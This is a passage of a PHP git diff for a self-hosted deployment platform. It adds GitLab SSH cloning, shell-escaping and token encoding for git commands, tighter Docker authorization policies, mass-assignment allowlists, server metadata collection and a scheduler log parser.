+1360,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); } if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); @@ -1294,19 +1369,20 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } } else { $github_access_token = generateGithubInstallationToken($this->source); + $encodedToken = rawurlencode($github_access_token); if ($exec_in_docker) { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } else { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit); } if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); @@ -1332,6 +1408,78 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req 'fullRepoUrl' => $fullRepoUrl, ]; } + + if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + $gitlabSource = $this->source; + $private_key = data_get($gitlabSource, 'privateKey.private_key'); + + if ($private_key) { + $fullRepoUrl = $customRepository; + $private_key = base64_encode($private_key); + $gitlabPort = $gitlabSource->custom_port ?? 22; + $escapedCustomRepository = escapeshellarg($customRepository); + $gitlabSshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\""; + $git_clone_command_base = "{$gitlabSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + if ($only_checkout) { + $git_clone_command = $git_clone_command_base; + } else { + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $gitlabSshCommand); + } + if ($exec_in_docker) { + $commands = collect([ + executeInDocker($deployment_uuid, 'mkdir -p /root/.ssh'), + executeInDocker($deployment_uuid, "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null"), + executeInDocker($deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), + ]); + } else { + $commands = collect([ + 'mkdir -p /root/.ssh', + "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null", + 'chmod 600 /root/.ssh/id_rsa', + ]); + } + + if ($pull_request_id !== 0) { + $branch = "merge-requests/{$pull_request_id}/head:$pr_branch_name"; + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); + } else { + $commands->push("echo 'Checking out $branch'"); + } + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + } + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); + } else { + $commands->push($git_clone_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } + + // GitLab source without private key — use URL as-is (supports user-embedded basic auth) + $fullRepoUrl = $customRepository; + $escapedCustomRepository = escapeshellarg($customRepository); + $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); + } else { + $commands->push($git_clone_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } } if ($this->deploymentType() === 'deploy_key') { $fullRepoUrl = $customRepository; @@ -1341,11 +1489,12 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } $private_key = base64_encode($private_key); $escapedCustomRepository = escapeshellarg($customRepository); - $git_clone_command_base = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $deployKeySshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\""; + $git_clone_command_base = "{$deployKeySshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $deployKeySshCommand); } if ($exec_in_docker) { $commands = collect([ @@ -1403,7 +1552,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); if ($pull_request_id !== 0) { if ($git_type === 'gitlab') { @@ -1679,7 +1828,8 @@ public function fqdns(): Attribute protected function buildGitCheckoutCommand($target): string { - $command = "git checkout $target"; + $escapedTarget = escapeshellarg($target); + $command = "git checkout {$escapedTarget}"; if ($this->settings->is_git_submodules_enabled) { $command .= ' && git submodule update --init --recursive'; @@ -1959,17 +2109,6 @@ public function parseHealthcheckFromDockerfile($dockerfile, bool $isInit = false } } - public static function getDomainsByUuid(string $uuid): array - { - $application = self::where('uuid', $uuid)->first(); - - if ($application) { - return $application->fqdns; - } - - return []; - } - public function getLimits(): array { return [ diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index 7373fdb16..3b7bf3030 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -166,6 +166,16 @@ public function generate_preview_fqdn_compose() } $this->docker_compose_domains = json_encode($docker_compose_domains); + + // Populate fqdn from generated domains so webhook notifications can read it + $allDomains = collect($docker_compose_domains) + ->pluck('domain') + ->filter(fn ($d) => ! empty($d)) + ->flatMap(fn ($d) => explode(',', $d)) + ->implode(','); + + $this->fqdn = ! empty($allDomains) ? $allDomains : null; + $this->save(); } } diff --git a/app/Models/Environment.php b/app/Models/Environment.php index c2ad9d2cb..d4e614e6e 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -4,6 +4,7 @@ use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use OpenApi\Attributes as OA; #[OA\Schema( @@ -21,6 +22,7 @@ class Environment extends BaseModel { use ClearsGlobalSearchCache; + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 4f1e277e4..cf60d5ab5 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -24,6 +24,7 @@ 'key' => ['type' => 'string'], 'value' => ['type' => 'string'], 'real_value' => ['type' => 'string'], + 'comment' => ['type' => 'string', 'nullable' => true], 'version' => ['type' => 'string'], 'created_at' => ['type' => 'string'], 'updated_at' => ['type' => 'string'], @@ -31,7 +32,30 @@ )] class EnvironmentVariable extends BaseModel { - protected $guarded = []; + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Polymorphic relationship + 'resourceable_type', + 'resourceable_id', + + // Boolean flags + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_shared', + 'is_required', + + // Metadata + 'version', + 'order', + ]; protected $casts = [ 'key' => 'string', @@ -67,6 +91,7 @@ protected static function booted() 'is_literal' => $environment_variable->is_literal ?? false, 'is_runtime' => $environment_variable->is_runtime ?? false, 'is_buildtime' => $environment_variable->is_buildtime ?? false, + 'comment' => $environment_variable->comment, 'resourceable_type' => Application::class, 'resourceable_id' => $environment_variable->resourceable_id, 'is_preview' => true, @@ -189,37 +214,7 @@ protected function isShared(): Attribute private function get_real_environment_variables(?string $environment_variable = null, $resource = null) { - if ((is_null($environment_variable) && $environment_variable === '') || is_null($resource)) { - return null; - } - $environment_variable = trim($environment_variable); - $sharedEnvsFound = str($environment_variable)->matchAll('/{{(.*?)}}/'); - if ($sharedEnvsFound->isEmpty()) { - return $environment_variable; - } - foreach ($sharedEnvsFound as $sharedEnv) { - $type = str($sharedEnv)->trim()->match('/(.*?)\./'); - if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) { - continue; - } - $variable = str($sharedEnv)->trim()->match('/\.(.*)/'); - if ($type->value() === 'environment') { - $id = $resource->environment->id; - } elseif ($type->value() === 'project') { - $id = $resource->environment->project->id; - } elseif ($type->value() === 'team') { - $id = $resource->team()->id; - } - if (is_null($id)) { - continue; - } - $environment_variable_found = SharedEnvironmentVariable::where('type', $type)->where('key', $variable)->where('team_id', $resource->team()->id)->where("{$type}_id", $id)->first(); - if ($environment_variable_found) { - $environment_variable = str($environment_variable)->replace("{{{$sharedEnv}}}", $environment_variable_found->value); - } - } - - return str($environment_variable)->value(); + return resolveSharedEnvironmentVariables($environment_variable, $resource); } private function get_environment_variables(?string $environment_variable = null): ?string diff --git a/app/Models/PrivateKey.php b/app/Models/PrivateKey.php index bb76d5ed6..7163ae7b5 100644 --- a/app/Models/PrivateKey.php +++ b/app/Models/PrivateKey.php @@ -237,7 +237,7 @@ protected function ensureStorageDirectoryExists() $testSuccess = $disk->put($testFilename, 'test'); if (! $testSuccess) { - throw new \Exception('SSH keys storage directory is not writable'); + throw new \Exception('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify'); } // Clean up test file diff --git a/app/Models/Project.php b/app/Models/Project.php index 181951f14..ed1b415c1 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -4,6 +4,7 @@ use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use OpenApi\Attributes as OA; use Visus\Cuid2\Cuid2; @@ -20,6 +21,7 @@ class Project extends BaseModel { use ClearsGlobalSearchCache; + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index bada0b7a5..e771ce31e 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -3,15 +3,39 @@ namespace App\Models; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; +use OpenApi\Attributes as OA; +#[OA\Schema( + description: 'Scheduled Task model', + type: 'object', + properties: [ + 'id' => ['type' => 'integer', 'description' => 'The unique identifier of the scheduled task in the database.'], + 'uuid' => ['type' => 'string', 'description' => 'The unique identifier of the scheduled task.'], + 'enabled' => ['type' => 'boolean', 'description' => 'The flag to indicate if the scheduled task is enabled.'], + 'name' => ['type' => 'string', 'description' => 'The name of the scheduled task.'], + 'command' => ['type' => 'string', 'description' => 'The command to execute.'], + 'frequency' => ['type' => 'string', 'description' => 'The frequency of the scheduled task.'], + 'container' => ['type' => 'string', 'nullable' => true, 'description' => 'The container where the command should be executed.'], + 'timeout' => ['type' => 'integer', 'description' => 'The timeout of the scheduled task in seconds.'], + 'created_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'The date and time when the scheduled task was created.'], + 'updated_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'The date and time when the scheduled task was last updated.'], + ], +)] class ScheduledTask extends BaseModel { + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; + public static function ownedByCurrentTeamAPI(int $teamId) + { + return static::where('team_id', $teamId)->orderBy('created_at', 'desc'); + } + protected function casts(): array { return [ diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php index 02fd6917a..c0601a4c9 100644 --- a/app/Models/ScheduledTaskExecution.php +++ b/app/Models/ScheduledTaskExecution.php @@ -3,7 +3,23 @@ namespace App\Models; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use OpenApi\Attributes as OA; +#[OA\Schema( + description: 'Scheduled Task Execution model', + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'description' => 'The unique identifier of the execution.'], + 'status' => ['type' => 'string', 'enum' => ['success', 'failed', 'running'], 'description' => 'The status of the execution.'], + 'message' => ['type' => 'string', 'nullable' => true, 'description' => 'The output message of the execution.'], + 'retry_count' => ['type' => 'integer', 'description' => 'The number of retries.'], + 'duration' => ['type' => 'number', 'nullable' => true, 'description' => 'Duration in seconds.'], + 'started_at' => ['type' => 'string', 'format' => 'date-time', 'nullable' => true, 'description' => 'When the execution started.'], + 'finished_at' => ['type' => 'string', 'format' => 'date-time', 'nullable' => true, 'description' => 'When the execution finished.'], + 'created_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'When the record was created.'], + 'updated_at' => ['type' => 'string', 'format' => 'date-time', 'description' => 'When the record was last updated.'], + ], +)] class ScheduledTaskExecution extends BaseModel { protected $guarded = []; diff --git a/app/Models/Server.php b/app/Models/Server.php index d693aea6d..508b9833b 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -25,6 +25,7 @@ use Illuminate\Support\Carbon; use Illuminate\Support\Collection; use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Storage; use Illuminate\Support\Stringable; use OpenApi\Attributes as OA; @@ -231,6 +232,7 @@ public static function flushIdentityMap(): void protected $casts = [ 'proxy' => SchemalessAttributes::class, 'traefik_outdated_info' => 'array', + 'server_metadata' => 'array', 'logdrain_axiom_api_key' => 'encrypted', 'logdrain_newrelic_license_key' => 'encrypted', 'delete_unused_volumes' => 'boolean', @@ -258,6 +260,7 @@ public static function flushIdentityMap(): void 'is_validating', 'detected_traefik_version', 'traefik_outdated_info', + 'server_metadata', ]; protected $guarded = []; @@ -913,6 +916,9 @@ public function port(): Attribute return Attribute::make( get: function ($value) { return (int) preg_replace('/[^0-9]/', '', $value); + }, + set: function ($value) { + return (int) preg_replace('/[^0-9]/', '', (string) $value); } ); } @@ -922,6 +928,9 @@ public function user(): Attribute return Attribute::make( get: function ($value) { return preg_replace('/[^A-Za-z0-9\-_]/', '', $value); + }, + set: function ($value) { + return preg_replace('/[^A-Za-z0-9\-_]/', '', $value); } ); } @@ -931,6 +940,9 @@ public function ip(): Attribute return Attribute::make( get: function ($value) { return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); + }, + set: function ($value) { + return preg_replace('/[^0-9a-zA-Z.:%-]/', '', $value); } ); } @@ -1065,6 +1077,55 @@ public function validateOS(): bool|Stringable } } + public function gatherServerMetadata(): ?array + { + if (! $this->isFunctional()) { + return null; + } + + try { + $output = instant_remote_process([ + 'echo "---PRETTY_NAME---" && grep PRETTY_NAME /etc/os-release | cut -d= -f2 | tr -d \'"\' && echo "---ARCH---" && uname -m && echo "---KERNEL---" && uname -r && echo "---CPUS---" && nproc && echo "---MEMORY---" && free -b | awk \'/Mem:/{print $2}\' && echo "---UPTIME_SINCE---" && uptime -s', + ], $this, false); + + if (! $output) { + return null; + } + + $sections = []; + $currentKey = null; + foreach (explode("\n", trim($output)) as $line) { + $line = trim($line); + if (preg_match('/^---(\w+)---$/', $line, $m)) { + $currentKey = $m[1]; + } elseif ($currentKey) { + $sections[$currentKey] = $line; + } + } + + $metadata = [ + 'os' => $sections['PRETTY_NAME'] ?? 'Unknown', + 'arch' => $sections['ARCH'] ?? 'Unknown', + 'kernel' => $sections['KERNEL'] ?? 'Unknown', + 'cpus' => (int) ($sections['CPUS'] ?? 0), + 'memory_bytes' => (int) ($sections['MEMORY'] ?? 0), + 'uptime_since' => $sections['UPTIME_SINCE'] ?? null, + 'collected_at' => now()->toIso8601String(), + ]; + + $this->update(['server_metadata' => $metadata]); + + return $metadata; + } catch (\Throwable $e) { + Log::debug('Failed to gather server metadata', [ + 'server_id' => $this->id, + 'error' => $e->getMessage(), + ]); + + return null; + } + } + public function isTerminalEnabled() { return $this->settings->is_terminal_enabled ?? false; @@ -1452,12 +1513,14 @@ public function generateCaCertificate() $certificateContent = $caCertificate->ssl_certificate; $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($certificateContent); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$certificateContent}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 0ad0fcf84..504cfa60a 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -92,6 +92,15 @@ protected static function booted() }); } + /** + * Validate that a sentinel token contains only safe characters. + * Prevents OS command injection when the token is interpolated into shell commands. + */ + public static function isValidSentinelToken(string $token): bool + { + return (bool) preg_match('/\A[a-zA-Z0-9._\-+=\/]+\z/', $token); + } + public function generateSentinelToken(bool $save = true, bool $ignoreEvent = false) { $data = [ diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index 7b8b46812..4bf78085e 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -88,7 +88,7 @@ public function type() public function team() { - return data_get($this, 'environment.project.team'); + return data_get($this, 'service.environment.project.team'); } public function workdir() diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index f6a39cfe4..c6a0143a8 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -11,6 +11,10 @@ class ServiceDatabase extends BaseModel protected $guarded = []; + protected $casts = [ + 'public_port_timeout' => 'integer', + ]; + protected static function booted() { static::deleting(function ($service) { @@ -124,7 +128,7 @@ public function getServiceDatabaseUrl() public function team() { - return data_get($this, 'environment.project.team'); + return data_get($this, 'service.environment.project.team'); } public function workdir() diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php index 7956f006a..9bd42c328 100644 --- a/app/Models/SharedEnvironmentVariable.php +++ b/app/Models/SharedEnvironmentVariable.php @@ -6,7 +6,23 @@ class SharedEnvironmentVariable extends Model { - protected $guarded = []; + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Type and relationships + 'type', + 'team_id', + 'project_id', + 'environment_id', + + // Boolean flags + 'is_multiline', + 'is_literal', + 'is_shown_once', + ]; protected $casts = [ 'key' => 'string', diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 86323db8c..33f32dd59 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -19,6 +19,7 @@ class StandaloneClickhouse extends BaseModel protected $casts = [ 'clickhouse_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 62ef68434..0407c2255 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -4,9 +4,11 @@ use App\Jobs\ConnectProxyToNetworksJob; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; class StandaloneDocker extends BaseModel { + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 4db7866b7..074c5b509 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -19,6 +19,7 @@ class StandaloneDragonfly extends BaseModel protected $casts = [ 'dragonfly_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index f23499608..23b4c65e6 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -19,6 +19,7 @@ class StandaloneKeydb extends BaseModel protected $casts = [ 'keydb_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index e7ba75b67..4d4b84776 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -20,6 +20,7 @@ class StandaloneMariadb extends BaseModel protected $casts = [ 'mariadb_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index d6de5874c..b5401dd2c 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -18,6 +18,7 @@ class StandaloneMongodb extends BaseModel protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 98a5cab77..0b144575c 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -20,6 +20,7 @@ class StandaloneMysql extends BaseModel protected $casts = [ 'mysql_password' => 'encrypted', 'mysql_root_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 5d35f335b..92b2efd31 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -20,6 +20,7 @@ class StandalonePostgresql extends BaseModel protected $casts = [ 'init_scripts' => 'array', 'postgres_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index e906bbb81..352d27cfd 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -18,6 +18,7 @@ class StandaloneRedis extends BaseModel protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/Subscription.php b/app/Models/Subscription.php index 1bd84a664..69d7cbf0d 100644 --- a/app/Models/Subscription.php +++ b/app/Models/Subscription.php @@ -8,11 +8,32 @@ class Subscription extends Model { protected $guarded = []; + protected function casts(): array + { + return [ + 'stripe_refunded_at' => 'datetime', + ]; + } + public function team() { return $this->belongsTo(Team::class); } + public function billingInterval(): string + { + if ($this->stripe_plan_id) { + $configKey = collect(config('subscription')) + ->search($this->stripe_plan_id); + + if ($configKey && str($configKey)->contains('yearly')) { + return 'yearly'; + } + } + + return 'monthly'; + } + public function type() { if (isStripe()) { diff --git a/app/Models/Team.php b/app/Models/Team.php index 5cb186942..e32526169 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -191,7 +191,8 @@ public function isAnyNotificationEnabled() $this->getNotificationSettings('discord')?->isEnabled() || $this->getNotificationSettings('slack')?->isEnabled() || $this->getNotificationSettings('telegram')?->isEnabled() || - $this->getNotificationSettings('pushover')?->isEnabled(); + $this->getNotificationSettings('pushover')?->isEnabled() || + $this->getNotificationSettings('webhook')?->isEnabled(); } public function subscriptionEnded() diff --git a/app/Policies/StandaloneDockerPolicy.php b/app/Policies/StandaloneDockerPolicy.php index 154648599..3e1f83d12 100644 --- a/app/Policies/StandaloneDockerPolicy.php +++ b/app/Policies/StandaloneDockerPolicy.php @@ -37,8 +37,7 @@ public function create(User $user): bool */ public function update(User $user, StandaloneDocker $standaloneDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id); - return true; + return $user->teams->contains('id', $standaloneDocker->server->team_id); } /** @@ -46,8 +45,7 @@ public function update(User $user, StandaloneDocker $standaloneDocker): bool */ public function delete(User $user, StandaloneDocker $standaloneDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $standaloneDocker->server->team_id); - return true; + return $user->teams->contains('id', $standaloneDocker->server->team_id); } /** @@ -55,8 +53,7 @@ public function delete(User $user, StandaloneDocker $standaloneDocker): bool */ public function restore(User $user, StandaloneDocker $standaloneDocker): bool { - // return false; - return true; + return false; } /** @@ -64,7 +61,6 @@ public function restore(User $user, StandaloneDocker $standaloneDocker): bool */ public function forceDelete(User $user, StandaloneDocker $standaloneDocker): bool { - // return false; - return true; + return false; } } diff --git a/app/Policies/SwarmDockerPolicy.php b/app/Policies/SwarmDockerPolicy.php index 979bb5889..82a75910b 100644 --- a/app/Policies/SwarmDockerPolicy.php +++ b/app/Policies/SwarmDockerPolicy.php @@ -37,8 +37,7 @@ public function create(User $user): bool */ public function update(User $user, SwarmDocker $swarmDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id); - return true; + return $user->teams->contains('id', $swarmDocker->server->team_id); } /** @@ -46,8 +45,7 @@ public function update(User $user, SwarmDocker $swarmDocker): bool */ public function delete(User $user, SwarmDocker $swarmDocker): bool { - // return $user->isAdmin() && $user->teams->contains('id', $swarmDocker->server->team_id); - return true; + return $user->teams->contains('id', $swarmDocker->server->team_id); } /** @@ -55,8 +53,7 @@ public function delete(User $user, SwarmDocker $swarmDocker): bool */ public function restore(User $user, SwarmDocker $swarmDocker): bool { - // return false; - return true; + return false; } /** @@ -64,7 +61,6 @@ public function restore(User $user, SwarmDocker $swarmDocker): bool */ public function forceDelete(User $user, SwarmDocker $swarmDocker): bool { - // return false; - return true; + return false; } } diff --git a/app/Rules/ValidIpOrCidr.php b/app/Rules/ValidIpOrCidr.php index e172ffd1a..bd0bd2296 100644 --- a/app/Rules/ValidIpOrCidr.php +++ b/app/Rules/ValidIpOrCidr.php @@ -45,7 +45,10 @@ public function validate(string $attribute, mixed $value, Closure $fail): void [$ip, $mask] = $parts; - if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > 32) { + $isIpv6 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; + $maxMask = $isIpv6 ? 128 : 32; + + if (! filter_var($ip, FILTER_VALIDATE_IP) || ! is_numeric($mask) || $mask < 0 || $mask > $maxMask) { $invalidEntries[] = $entry; } } else { diff --git a/app/Rules/ValidServerIp.php b/app/Rules/ValidServerIp.php new file mode 100644 index 000000000..270ff1c34 --- /dev/null +++ b/app/Rules/ValidServerIp.php @@ -0,0 +1,40 @@ +validate($attribute, $trimmed, function () use (&$failed) { + $failed = true; + }); + + if ($failed) { + $fail('The :attribute must be a valid IPv4 address, IPv6 address, or hostname.'); + } + } +} diff --git a/app/Services/SchedulerLogParser.php b/app/Services/SchedulerLogParser.php new file mode 100644 index 000000000..6e29851df --- /dev/null +++ b/app/Services/SchedulerLogParser.php @@ -0,0 +1,188 @@ + + */ + public function getRecentSkips(int $limit = 100, ?int $teamId = null): Collection + { + $logFiles = $this->getLogFiles(); + + $skips = collect(); + + foreach ($logFiles as $logFile) { + $lines = $this->readLastLines($logFile, 2000); + + foreach ($lines as $line) { + $entry = $this->parseLogLine($line); + if ($entry === null || ! isset($entry['context']['skip_reason'])) { + continue; + } + + if ($teamId !== null && ($entry['context']['team_id'] ?? null) !== $teamId) { + continue; + } + + $skips->push([ + 'timestamp' => $entry['timestamp'], + 'type' => $entry['context']['type'] ?? 'unknown', + 'reason' => $entry['context']['skip_reason'], + 'team_id' => $entry['context']['team_id'] ?? null, + 'context' => $entry['context'], + ]); + } + } + + return $skips->sortByDesc('timestamp')->values()->take($limit); + } + + /** + * Get recent manager execution logs (start/complete events). + * + * @return Collection + */ + public function getRecentRuns(int $limit = 60, ?int 